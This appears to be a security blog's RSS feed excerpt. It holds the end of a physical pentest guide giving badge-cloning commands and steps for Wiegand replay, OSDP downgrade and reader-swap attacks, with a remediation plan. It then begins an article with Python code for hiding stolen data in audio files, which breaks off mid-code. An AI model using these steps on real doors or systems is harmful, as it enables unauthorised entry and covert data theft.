none.</p><p>Reference implementation for a Wiegand tap and replay: the Wiegand protocol is documented in the HID and CardLogix references below, and open source Wiegand libraries for Arduino are widely available (for example, <a href="https://github.com/monkeyboard/Wiegand-Protocol-Library-for-Arduino).">https://github.com/monkeyboard/Wiegand-Protocol-Library-for-Arduino).</a></p><h3>Step by step Wiegand capture</h3><ol><li>Remove the reader from the wall (usually two tamper screws).</li><li>Identify the four wires: Data0 (green), Data1 (white), ground, power.</li><li>Tap Data0 and Data1 with a logic probe or a microcontroller.</li><li>Log the bit patterns as people badge in. Each 26-bit pattern is one badge (parity, facility code, card number, parity).</li><li>Decode the facility code and card number to confirm you captured real badges.</li></ol><h3>Step by step Wiegand replay</h3><ol><li>Connect your microcontroller to the Data0 and Data1 lines (the controller side, not the reader side).</li><li>Drive Data0 low for each 0 bit and Data1 low for each 1 bit, with the correct timing (roughly 50 microsecond pulses, 2 millisecond period).</li><li>Send the captured 26-bit pattern for the badge you want to impersonate.</li><li>The controller sees a valid badge and unlocks the door.</li></ol><h3>OSDP downgrade attack</h3><p>OSDP with Secure Channel enforced is resistant to capture and replay. But in practice many OSDP deployments are not enforced. The downgrade attack works like this:</p><ol><li>Tap the RS-485 A and B wires between reader and controller.</li><li>Inject a signal telling the controller the reader does not support Secure Channel.</li><li>The controller falls back to plaintext OSDP.</li><li>Capture the credential in plaintext as it passes.</li><li>Replay it later.</li></ol><p>This works because some readers and controllers accept the downgrade rather than failing closed. The fix is ‘Secure Channel Required’ mode, where the controller refuses non encrypted communication. During recon, check whether the deployment enforces Secure Channel, if it does not, the downgrade attack is on the table.</p><h3>The reader swap attack</h3><p>If you cannot tap the wires, swap the reader. Many Wiegand readers are not authenticated to the controller, so you can replace the legitimate reader with your own device that sends whatever badge number you want down the Wiegand lines. The controller has no way to know the reader was swapped. This is why OSDP with Secure Channel added device authentication, but Wiegand has none.</p><h3>Operational notes</h3><ul><li>Wiegand tap and replay is the single most reliable reader attack. It works on the majority of legacy installations.</li><li>OSDP downgrade only works if Secure Channel is not enforced. Test it during recon.</li><li>Reader swap needs physical access to the reader and a compatible replacement. It is loud, so use it only when tap is not possible.</li><li>Always put the reader back and clean up. A swapped or tampered reader is an obvious sign of intrusion.</li></ul><h3>Remediation plan</h3><p>The defense is to secure the reader to controller link and to authenticate the reader itself. This is the most important phase to remediate, because reader side attacks bypass every card side upgrade.</p><ol><li><strong>Replace Wiegand with OSDP and enforce Secure Channel Required.</strong> This is the single most important fix. Secure Channel encrypts the badge data on the wire and authenticates the reader to the controller, so capture, replay, and reader swap all fail. Set the mode to Required (not optional) so the controller refuses plaintext and never accepts a downgrade.</li><li><strong>Tamper detect the reader.</strong> Use tamper switches on the reader and route wiring in conduit, so removing the reader to tap the wires raises an alarm.</li><li><strong>Authenticate the reader.</strong> With OSDP Secure Channel the controller cryptographically authenticates the reader, so a swapped rogue reader is rejected. Without this, Wiegand has no reader authentication at all.</li><li><strong>If Wiegand must stay, encrypt at the reader.</strong> Have the reader encrypt the badge data before sending it, so the wire carries encrypted tokens a tapper cannot replay. Add a door position sensor and alarm on forced open and door held open.</li><li><strong>Log and alert.</strong> Alert on reader offline or tamper events, on a door opening without a valid badge event, and on a reader that stops sending heartbeats (a sign of a swap or cut).</li></ol><h3>The engagement playbook</h3><p>A consolidated walkthrough of a physical pentest access card engagement, from first look to open door.</p><ol><li><strong>Recon the reader.</strong> Read the manufacturer label, note the wiring (Wiegand four wires vs OSDP two wires), and photograph the reader model.</li><li><strong>Read the card with a Flipper or Proxmark.</strong> Identify LF vs HF and the exact chip type.</li><li><strong>If LF (HID Prox, EM410x):</strong> Read the ID with lf search, clone to a T5577 with lf hid clone &lt;raw&gt; or the Flipper RFID app. Verify the clone reads back the same ID.</li><li><strong>If HF Mifare Classic:</strong> Run mfoc -O card_dump.mfd to recover keys and dump. If nested fails, use hardnested or MFCUK. Write the dump to a magic Gen1 or Gen2 card with nfc-mfclassic W card_dump.mfd card_dump.mfd.</li><li><strong>If HF iCLASS:</strong> Read with hf iclass info and hf iclass read on the Proxmark. Clone to an iCLASS blank with hf iclass clone. If it is Seos or Elite, check for a legacy downgrade path.</li><li><strong>If the card is not cloneable (DESFire, Seos enforced):</strong> Pivot to reader side attacks. Tap the Wiegand lines, capture a badge, replay it. Or try an OSDP downgrade if the deployment does not enforce Secure Channel.</li><li><strong>Test the clone at the door.</strong> Walk up, present the clone, and confirm the door opens. If it fails, check the magic level (Gen1 blocked) or the iCLASS config block.</li><li><strong>Document everything.</strong> Photograph the reader, the card type, the captured ID, and the successful open. This is the deliverable evidence.</li></ol><h3>References</h3><ul><li>RfidResearchGroup, Proxmark3, <a href="https://github.com/RfidResearchGroup/proxmark3">https://github.com/RfidResearchGroup/proxmark3</a></li><li>Flipper Devices, Flipper Zero Firmware, <a href="https://github.com/flipperdevices/flipperzero-firmware">https://github.com/flipperdevices/flipperzero-firmware</a></li><li>ApertureLabs, RFIDler, <a href="https://github.com/ApertureLabsLtd/RFIDler">https://github.com/ApertureLabsLtd/RFIDler</a></li><li>ACS, ACR122U NFC Smart Card Reader, <a href="https://www.acs.com.hk/en/products/3/acr122u-nfc-smart-card-reader-writer/">https://www.acs.com.hk/en/products/3/acr122u-nfc-smart-card-reader-writer/</a></li><li>nfc-tools, MFOC Mifare Classic Offline Cracker, <a href="https://github.com/nfc-tools/mfoc">https://github.com/nfc-tools/mfoc</a></li><li>nfc-tools, MFCUK, <a href="https://github.com/nfc-tools/mfcuk">https://github.com/nfc-tools/mfcuk</a></li><li>ikarus23, Mifare Classic Tool, <a href="https://github.com/ikarus23/MifareClassicTool">https://github.com/ikarus23/MifareClassicTool</a></li><li>nfc-tools, libnfc, <a href="https://github.com/nfc-tools/libnfc">https://github.com/nfc-tools/libnfc</a></li><li>aalex954, Cloning MIFARE Classic 1k Cards, <a href="https://github.com/aalex954/cloning-MIFARE-classic-1k">https://github.com/aalex954/cloning-MIFARE-classic-1k</a></li><li>Sam Decrock, Reverse engineering Mifare Classic NFC cards using the hardnested attack, <a href="https://samdecrock.medium.com/cracking-mifare-classic-nfc-cards-using-the-hardnested-attack-506aab3ea305">https://samdecrock.medium.com/cracking-mifare-classic-nfc-cards-using-the-hardnested-attack-506aab3ea305</a></li><li>whickey000, How to Copy an Apartment Fob (HID ProxCard) with a Proxmark3 RDV4, <a href="https://medium.com/@whickey000/how-to-copy-an-apartment-fob-hid-proxcard-with-a-proxmark3-rdv4-797f8b1adcc">https://medium.com/@whickey000/how-to-copy-an-apartment-fob-hid-proxcard-with-a-proxmark3-rdv4-797f8b1adcc</a></li><li>Node Security, Proxmark3 Card Reading and Cloning, <a href="https://node-security.com/posts/proxmark3-card-reading-and-cloning/">https://node-security.com/posts/proxmark3-card-reading-and-cloning/</a></li><li>Standard User Cyber, Beginner’s Guide to HID iClass Cloning with the Flipper Zero, <a href="https://www.standardusercyber.com/post/beginner-s-guide-to-hid-iclass-cloning-with-the-flipper-zero">https://www.standardusercyber.com/post/beginner-s-guide-to-hid-iclass-cloning-with-the-flipper-zero</a></li><li>Dangerous Things Forum, HID iClass mega-writeup, <a href="https://forum.dangerousthings.com/t/help-with-hid-seos-downgrade-to-iclass-cloning/22648">https://forum.dangerousthings.com/t/help-with-hid-seos-downgrade-to-iclass-cloning/22648</a></li><li>Verkada, OSDP and Wiegand, <a href="https://help.verkada.com/access-control/users-and-credentials/commission-access-control-cards/osdp-and-wiegand">https://help.verkada.com/access-control/users-and-credentials/commission-access-control-cards/osdp-and-wiegand</a></li><li>CardLogix, Wiegand Definition, <a href="https://www.cardlogix.com/glossary/wiegand/">https://www.cardlogix.com/glossary/wiegand/</a></li><li>tagtix, Understanding 26-Bit Wiegand Format, <a href="https://tagtixrfid.com/blogs/wiki/wiegand-26bit">https://tagtixrfid.com/blogs/wiki/wiegand-26bit</a></li><li>Axis Communications, Why choose OSDP over Wiegand, <a href="https://whitepapers.axis.com/en-us/osdp-protocol-in-access-control">https://whitepapers.axis.com/en-us/osdp-protocol-in-access-control</a></li><li>Genetec, What to do about OSDP vulnerabilities for access control, <a href="https://www.genetec.com/blog/products/what-to-do-about-osdp-vulnerabilities-for-access-control">https://www.genetec.com/blog/products/what-to-do-about-osdp-vulnerabilities-for-access-control</a></li><li>Wavelynx, OSDP vs Wiegand, <a href="https://wavelynx.com/news/osdp-vs-wiegand-understanding-the-difference-and-why-it-matters-for-your-access-control-system">https://wavelynx.com/news/osdp-vs-wiegand-understanding-the-difference-and-why-it-matters-for-your-access-control-system</a></li><li>monkeyboard, Wiegand Protocol Library for Arduino, <a href="https://github.com/monkeyboard/Wiegand-Protocol-Library-for-Arduino">https://github.com/monkeyboard/Wiegand-Protocol-Library-for-Arduino</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=86e65879e952" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Threat Actors Use MP3 Audio Steganography for Data Exfiltration]]></title>
            <link>https://coffsec.medium.com/how-threat-actors-use-mp3-audio-steganography-for-data-exfiltration-540cc9e22866?source=rss-0be1189f4fb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/540cc9e22866</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[COFFSec]]></dc:creator>
            <pubDate>Mon, 07 Sep 2026 12:54:15 GMT</pubDate>
            <atom:updated>2026-09-11T09:24:31.353Z</atom:updated>
            <content:encoded><![CDATA[<p>A deep technical research walkthrough on how attackers use MP3 audio files to secretly steal data from compromised systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tNANBtuxLuhRDcdTWKeSCw.jpeg" /></figure><h3>TLDR</h3><p>An attacker who has compromised a system needs to get stolen data out without being noticed. Direct network exfiltration (FTP, raw TCP, HTTPS to unknown IPs) gets caught by firewalls and DLP. Audio steganography solves this by embedding stolen data inside ordinary MP3 files that are then uploaded as what looks like legitimate media traffic. The MP3 format is ideal because it is ubiquitous, its lossy compression has multiple hiding points (Huffman codewords, QMDCT coefficients, frame headers), large file sizes look normal, and content inspection for steganography is computationally expensive so most DLP systems skip it. Real APT groups (TeamPCP, Witchetty, ScarCruft, Turla) have used steganography in active campaigns. On air gapped systems, Ben Gurion University research shows data can leave via ultrasonic audio from speakers, fans, and power supplies.</p><h3>MP3 format internals: where data can be hidden</h3><p>An MP3 file is a sequence of frames. Each frame has:</p><ol><li><strong>Frame header (4 bytes).</strong> Contains sync word, MPEG version, layer, bitrate, sampling rate, padding, and reserved bits.</li><li><strong>Side information.</strong> Metadata telling the decoder how to interpret the audio data: which Huffman table to use, how many bits per coefficient, scalefactor selection.</li><li><strong>Huffman coded data.</strong> The quantized Modified Discrete Cosine Transform (MDCT) coefficients, compressed with Huffman coding.</li></ol><p>The key variable is part2_3_length, which stores the number of bits used for scalefactors and Huffman coded data in each granule. The encoder has an inner loop that quantizes frequency lines and adjusts the step size until the data fits in part2_3_length bits. An outer loop checks that quantization distortion stays below the psychoacoustic model threshold.</p><p>Three embedding categories exist:</p><ul><li><strong>During encoding:</strong> Data is hidden while WAV is compressed to MP3. Embedding modifies quantization or Huffman coding decisions.</li><li><strong>Post encoding:</strong> Data is hidden after MP3 encoding by directly modifying bits in the compressed bitstream.</li><li><strong>Container level:</strong> Data is appended or stored in ID3 metadata tags.</li></ul><h3>Technique 1: MP3Stego (part2_3_length parity embedding during encoding)</h3><p><strong>How it works.</strong> MP3Stego hides data inside an MP3 file during the compression process. It takes a WAV file as input, compresses it to MP3, and during the encoder inner loop it modifies the part2_3_length variable so that its parity (even or odd) encodes one bit of the hidden message. The hidden data is first compressed with zlib and encrypted with 3DES before embedding, so even if the steganography is detected, the payload cannot be read without the password.</p><p><strong>Step by step.</strong></p><ol><li>The attacker prepares a secret message file (text, keys, or small data).</li><li>MP3Stego compresses the message with zlib to reduce its size.</li><li>MP3Stego encrypts the compressed message with 3DES using a password.</li><li>A SHA-1 based pseudo random number generator selects which frames to use.</li><li>For each selected frame, the inner loop exit condition is modified so that part2_3_length has the correct parity (even = 0, odd = 1).</li><li>The resulting MP3 file plays normally but contains the hidden data.</li></ol><p><strong>Usage.</strong></p><pre># Install MP3Stego (Windows binary, runs in Wine on Linux)<br># Download from: https://www.petitcolas.net/steganography/mp3stego/<br># Source code: https://github.com/fabienpe/MP3Stego<br># Prepare a WAV input (MP3Stego requires WAV, not MP3):<br>ffmpeg -i cover.mp3 -flags bitexact cover.wav<br># Embed a secret message:<br>mp3stego-encode -E hidden_text.txt -P mypassword /abs/path/cover.wav /abs/path/stego.mp3<br># Extract the hidden message:<br>mp3stego-decode -X -P mypassword /abs/path/stego.mp3 /abs/path/out.pcm /abs/path/out.txt</pre><p><strong>Capacity.</strong> Very low: about 1 bit per frame. A 3 minute song at 44.1 kHz has about 10,000 frames, yielding about 1.25 KB. Enough for encryption keys, short messages, or configuration data, but not for bulk exfiltration. The low capacity also makes it harder to detect.</p><p><strong>Detection.</strong> Detectable by statistical steganalysis (JISE 2014 paper showed part2_3_length parity manipulation creates artifacts in Huffman codeword length distributions), but not by standard DLP or firewall products.</p><p><strong>GitHub reference.</strong></p><ul><li>Source code: <a href="https://github.com/fabienpe/MP3Stego">https://github.com/fabienpe/MP3Stego</a></li><li>Author: Fabien Petitcolas (1998, last updated November 2018)</li><li>Language: C (Windows binary, runs in Wine)</li></ul><h3>Technique 2: LSB matching in WAV (audio sample LSB modification)</h3><p><strong>How it works.</strong> The simplest audio steganography technique modifies the least significant bit (LSB) of each audio sample in a WAV file. A 16 bit PCM WAV file stores each audio sample as 2 bytes. Changing the LSB of each sample from 0 to 1 or 1 to 0 changes the audio amplitude by 1 out of 65,536, which is completely inaudible. The attacker reads the stolen data byte by byte, converts each byte to 8 bits, and writes each bit as the LSB of consecutive audio samples. The receiver reads the LSBs back and reconstructs the data.</p><p><strong>Step by step.</strong></p><ol><li>Read the cover WAV file into a numpy array of audio samples.</li><li>Convert the secret data to a bit string (each byte becomes 8 bits).</li><li>For each bit, modify the LSB of the corresponding audio sample: if the bit is 1 and the sample LSB is 0, add or subtract 1 randomly (LSB matching). If the bit is 0 and the sample LSB is 1, add or subtract 1 randomly.</li><li>Write the modified samples back to a new WAV file.</li><li>To extract, read the LSB of each sample in order and reconstruct the bytes.</li></ol><p><strong>Code (from Daniel Lerch Steganography for Python Programmers).</strong></p><pre># LSB matching embedding in WAV (from daniellerch.me/stego)<br># Reference: https://daniellerch.me/stego/books/stegopython/audio-en/<br>import wave<br>import numpy as np<br>import random<br>def embed(wav_filename_in, wav_filename_out, message):<br>    wav_file = wave.open(wav_filename_in, &#39;rb&#39;)<br>    num_channels = wav_file.getnchannels()<br>    sample_width = wav_file.getsampwidth()<br>    frame_rate = wav_file.getframerate()<br>    num_frames = wav_file.getnframes()<br>    raw_data = wav_file.readframes(num_frames)<br>    wav_file.close()<br>    # Convert to numpy array (16-bit signed integers)<br>    audio_data = np.frombuffer(raw_data, dtype=&#39;&lt;i2&#39;)<br>    audio_data = audio_data.copy()<br>    # Convert message to bits<br>    message_bits = [<br>        int(bit) for byte in message.encode()<br>        for bit in format(byte, &#39;08b&#39;)<br>    ]<br>    if len(message_bits) &gt; len(audio_data):<br>        raise ValueError(&#39;Message too long for this audio file&#39;)<br>    # LSB matching: if bit differs from sample LSB, randomly +1 or -1<br>    for i, bit in enumerate(message_bits):<br>        if audio_data[i] % 2 != bit:<br>            if audio_data[i] == 32767:<br>                audio_data[i] -= 1<br>            elif audio_data[i] == -32768:<br>                audio_data[i] += 1<br>            else:<br>                audio_data[i] += random.choice([-1, 1])<br>    # Write output WAV<br>    raw_data_modified = audio_data.astype(&#39;&lt;i2&#39;).tobytes()<br>    with wave.open(wav_filename_out, &#39;wb&#39;) as out:<br>        out.setnchannels(num_channels)<br>        out.setsampwidth(sample_width)<br>        out.setframerate(frame_rate)<br>        out.writeframes(raw_data_modified)<br>def extract(wav_filename_in, msglen):<br>    wav_file = wave.open(wav_filename_in, &#39;rb&#39;)<br>    raw_data = wav_file.readframes(wav_file.getnframes())<br>    wav_file.close()<br>    audio_data = np.frombuffer(raw_data, dtype=&#39;&lt;i2&#39;)<br>    message_bits = []<br>    for i in range(msglen):<br>        message_bits.append(audio_data[i] % 2)<br>    message_bits = &#39;&#39;.join(map(str, message_bits))<br>    message = &#39;&#39;.join(<br>        chr(int(message_bits[i:i+8], 2))<br>        for i in range(0, len(message_bits), 8)<br>    )<br>    return message<br># Usage:<br>embed(&#39;cover.wav&#39;, &#39;stego.wav&#39;, &#39;Hidden text&#39;)<br>print(extract(&#39;stego.wav&#39;, 88))  # &#39;Hidden text&#39;</pre><p><strong>Capacity.</strong> High. A 3 minute CD quality stereo WAV file (44.1 kHz, 16 bit) has about 15.8 million samples. At 1 bit per sample, that is about 1.9 MB of hidden data. For MP3, the WAV is first embedded, then compressed to MP3, but the LSB modifications survive MP3 compression only if the bitrate is high enough. For direct MP3 LSB embedding (post encoding), the QMDCT coefficients are used instead (see Technique 3).</p><p><strong>Detection.</strong> LSB matching is detectable by Aletheia (https://github.com/daniellerch/aletheia) using structural LSB detectors and statistical attacks. Machine learning classifiers trained on audio features can also distinguish steganographic WAV files from clean ones.</p><p><strong>GitHub reference.</strong></p><ul><li>Daniel Lerch, Steganography for Python Programmers (book with code): <a href="https://daniellerch.me/stego/books/stegopython/audio-en/">https://daniellerch.me/stego/books/stegopython/audio-en/</a></li><li>Aletheia (steganalysis tool to detect this): <a href="https://github.com/daniellerch/aletheia">https://github.com/daniellerch/aletheia</a></li></ul><h3>Technique 3: QMDCT coefficient LSB manipulation (post encoding, MP3 specific)</h3><p><strong>How it works.</strong> After an MP3 file has already been encoded, an attacker can directly modify the Quantized Modified Discrete Cosine Transform (QMDCT) coefficients in the compressed bitstream. The MDCT converts time domain audio into frequency domain coefficients. The quantized version (QMDCT) is what is stored in the MP3 file after Huffman coding. By flipping the least significant bits of these coefficients, an attacker embeds data without any audible change, because the quantization process already introduces far larger distortions than a 1 bit flip.</p><p><strong>Step by step.</strong></p><ol><li>Parse the MP3 file to extract all frames and their Huffman coded data.</li><li>Decode the Huffman data to recover the QMDCT coefficients for each granule.</li><li>For each coefficient above a threshold (e.g. abs(coeff) &gt; 10, to avoid modifying silence), set its LSB to the next secret bit.</li><li>Re-encode the modified coefficients back to Huffman data.</li><li>Reassemble the MP3 frames with the modified Huffman data.</li></ol><p><strong>Code.</strong></p><pre># Simplified QMDCT LSB embedding (Python pseudocode)<br># Requires an MP3 parser that can read and write Huffman coded data<br># Real implementation: see AS4PGC below<br>def embed_qmdct_lsb(mp3_frames, secret_bits):<br>    bit_index = 0<br>    for frame in mp3_frames:<br>        for granule in frame.granules:<br>            for coeff in granule.qmdct_coefficients:<br>                if bit_index &gt;= len(secret_bits):<br>                    return<br>                # Only modify coefficients above a threshold<br>                # (small coefficients are in silence or quiet sections<br>                # where changes are more noticeable)<br>                if abs(coeff) &gt; 10:<br>                    if secret_bits[bit_index] == 1:<br>                        coeff = coeff | 1   # set LSB to 1<br>                    else:<br>                        coeff = coeff &amp; ~1  # set LSB to 0<br>                    bit_index += 1<br>def extract_qmdct_lsb(mp3_frames):<br>    bits = []<br>    for frame in mp3_frames:<br>        for granule in frame.granules:<br>            for coeff in granule.qmdct_coefficients:<br>                if abs(coeff) &gt; 10:<br>                    bits.append(coeff &amp; 1)<br>    return bits</pre><p><strong>Capacity.</strong> 10 to 50 bits per frame. For a 3 minute song, that is 12 to 60 KB of hidden data. Much higher than MP3Stego.</p><p><strong>Detection.</strong> Detectable by Markov chain based steganalysis (analyzes transition probabilities between adjacent QMDCT values) and recommender system based detection (Information Sciences 2012 paper). Both require trained classifiers not found in standard security tools.</p><p><strong>GitHub reference.</strong></p><ul><li>AS4PGC (Audio Steganography for Pretty Good Concealment): <a href="https://github.com/ClarkFieseln/AS4PGC">https://github.com/ClarkFieseln/AS4PGC</a></li><li>Implements QMDCT based embedding in MP3, FLAC, OGG, OPUS, and WAV</li><li>Includes compression and encryption of the hidden file before embedding</li><li>Install: pip install as4pgc</li><li>Usage: as4pgc -w secret.zip carrier.mp3 (embed), as4pgc -r stego.mp3 (extract)</li><li>Article: <a href="https://www.codeproject.com/Articles/5313626/Audio-Steganography-for-Pretty-Good-Concealing-AS4">https://www.codeproject.com/Articles/5313626/Audio-Steganography-for-Pretty-Good-Concealing-AS4</a></li></ul><h3>Technique 4: Huffman codeword pair substitution</h3><p><strong>How it works.</strong> The Huffman coded data in an MP3 frame uses 34 code tables defined by the ISO MPEG standard. Many tables contain codeword pairs that differ only in their last bit: codeword 1100 maps to value 5 and codeword 1101 maps to value 7. An attacker swaps between these paired codewords to encode one hidden bit per substitution, without changing the bitstream length or the Huffman table structure.</p><p><strong>Step by step.</strong></p><ol><li>Build a lookup table of all Huffman codeword pairs that differ by exactly 1 bit.</li><li>Parse the MP3 Huffman coded data stream.</li><li>For each codeword that has a pair and where the next secret bit is 1, replace it with its paired codeword.</li><li>If the secret bit is 0, keep the original codeword unchanged.</li><li>To extract, check whether each codeword is the even or odd member of its pair.</li></ol><p><strong>Code.</strong></p><pre># Simplified Huffman codeword pair substitution (pseudocode)<br># Example: In Huffman table 1, some codeword pairs differ by 1 bit:<br>#   codeword 1100 -&gt; value 5  (even parity, secret bit = 0)<br>#   codeword 1101 -&gt; value 7  (odd parity, secret bit = 1)<br># Swapping between these two encodes one hidden bit.<br># pair_table: dict mapping a base codeword to its paired codeword<br># that differs by exactly 1 bit<br>def embed_huffman_pairs(huffman_stream, pair_table, secret_bits):<br>    bit_index = 0<br>    for i, codeword in enumerate(huffman_stream):<br>        if codeword in pair_table and bit_index &lt; len(secret_bits):<br>            paired = pair_table[codeword]<br>            # If the secret bit is 1, use the paired codeword<br>            # If the secret bit is 0, keep the original<br>            if secret_bits[bit_index] == 1:<br>                huffman_stream[i] = paired<br>            bit_index += 1<br>    return</pre><p><strong>Why this is stealthy.</strong> Both codewords in a pair map to valid coefficient values, so the decoder does not care which was used. The bitstream length is unchanged. The audio quality difference is 1 to 2 quantization steps, which is inaudible. No structural anomaly is left, only a statistical one requiring a trained steganalyzer.</p><p><strong>GitHub reference.</strong></p><ul><li>AS4PGC (implements Huffman table manipulation for MP3): <a href="https://github.com/ClarkFieseln/AS4PGC">https://github.com/ClarkFieseln/AS4PGC</a></li><li>MP3Stego source code (reference for Huffman table structure): <a href="https://github.com/fabienpe/MP3Stego">https://github.com/fabienpe/MP3Stego</a></li></ul><h3>Technique 5: Frame header bit stuffing and ID3 tag manipulation</h3><p><strong>How it works.</strong> The MP3 frame header (4 bytes, 32 bits) contains fields for sync word, MPEG version, layer, bitrate, sampling rate, and padding. Some bits are defined as private or reserved by the ISO standard and ignored by most decoders. An attacker sets these unused bits to carry hidden data. Additionally, ID3v2 tags at the beginning and ID3v1 tags at the end of the file can hold arbitrary text fields (artist, album, comments, lyrics) that can carry kilobytes of base64 encoded data.</p><p><strong>Step by step (ID3 tag method).</strong></p><ol><li>Base64 encode the stolen data.</li><li>Write the base64 string into an ID3v2 COMM (comment) frame.</li><li>Save the MP3 file with the modified tag.</li><li>To extract, read the COMM frame and base64 decode the content.</li></ol><p><strong>Code.</strong></p><pre># ID3 tag based embedding using mutagen (pip install mutagen)<br># Simplest method, highest capacity, but most easily detected<br>from mutagen.id3 import ID3, COMM<br>import base64<br># Embed:<br>audio = ID3(&#39;cover.mp3&#39;)<br>with open(&#39;secret_data.txt&#39;, &#39;rb&#39;) as f:<br>    encoded = base64.b64encode(f.read()).decode()<br>audio.add(COMM(encoding=3, lang=&#39;eng&#39;, desc=&#39;stego&#39;, text=encoded))<br>audio.save(&#39;stego_output.mp3&#39;)<br># Extract:<br>audio = ID3(&#39;stego_output.mp3&#39;)<br>hidden = audio.getall(&#39;COMM&#39;)[0].text[0]<br>decoded = base64.b64decode(hidden)<br>with open(&#39;extracted_data.bin&#39;, &#39;wb&#39;) as f:<br>    f.write(decoded)</pre><p><strong>Capacity.</strong> ID3v2.4 tags can hold up to 256 MB (the tag size field is 28 bits). In practice, 100 KB of stolen data in a comment field is feasible without suspicion. Frame header bit stuffing has very low capacity (a few bits per frame) but is extremely hard to detect.</p><p><strong>Detection.</strong> ID3 tag manipulation is detectable by reading tag contents and checking for high entropy or base64 data. Frame header bit stuffing requires a frame level analysis tool that checks reserved and private bits against expected values.</p><p><strong>GitHub reference.</strong></p><ul><li>mutagen (Python library for ID3 tag manipulation): <a href="https://github.com/quodlibet/mutagen">https://github.com/quodlibet/mutagen</a></li></ul><h3>Technique 6: Spread spectrum audio steganography</h3><p><strong>How it works.</strong> Spread spectrum steganography, adapted from military radio communications, embeds data by spreading it across the entire frequency spectrum of the audio signal using a pseudo random noise sequence. The secret data is modulated by a pseudo random carrier signal and added to the audio samples at a very low amplitude, below the hearing threshold. The receiver, who knows the same pseudo random sequence, demodulates and recovers the hidden data.</p><p><strong>Step by step.</strong></p><ol><li>Generate a pseudo random +1/-1 carrier sequence from a shared seed.</li><li>Repeat each secret bit to fill the available bandwidth (spread factor).</li><li>Convert bits to bipolar (+1/-1) signaling.</li><li>Multiply the carrier by the spread secret bits to create the steganographic signal.</li><li>Scale the signal to a very low amplitude (e.g. 0.001 of the audio range).</li><li>Add the steganographic signal to the audio samples.</li><li>To extract, multiply by the same carrier and integrate over each spread period.</li></ol><p><strong>Code.</strong></p><pre># Spread spectrum embedding (simplified pseudocode)<br># Reference: ResearchGate 2024, Applying Steganography in MP3 Files<br>import numpy as np<br>def embed_spread_spectrum(audio_samples, secret_bits, seed):<br>    rng = np.random.RandomState(seed)<br>    carrier = rng.choice([-1, 1], size=len(audio_samples))<br>    spread_factor = len(audio_samples) // len(secret_bits)<br>    spread_bits = np.repeat(secret_bits, spread_factor)<br>    spread_bits = 2 * spread_bits - 1  # 0/1 to -1/+1<br>    signal = carrier * spread_bits<br>    amplitude = 0.001  # below hearing threshold<br>    stego_audio = audio_samples + amplitude * signal<br>    return stego_audio<br>def extract_spread_spectrum(stego_audio, seed, num_bits, spread_factor):<br>    rng = np.random.RandomState(seed)<br>    carrier = rng.choice([-1, 1], size=len(stego_audio))<br>    demodulated = stego_audio * carrier<br>    bits = []<br>    for i in range(num_bits):<br>        start = i * spread_factor<br>        end = start + spread_factor<br>        chip_sum = np.sum(demodulated[start:end])<br>        bits.append(1 if chip_sum &gt; 0 else 0)<br>    return 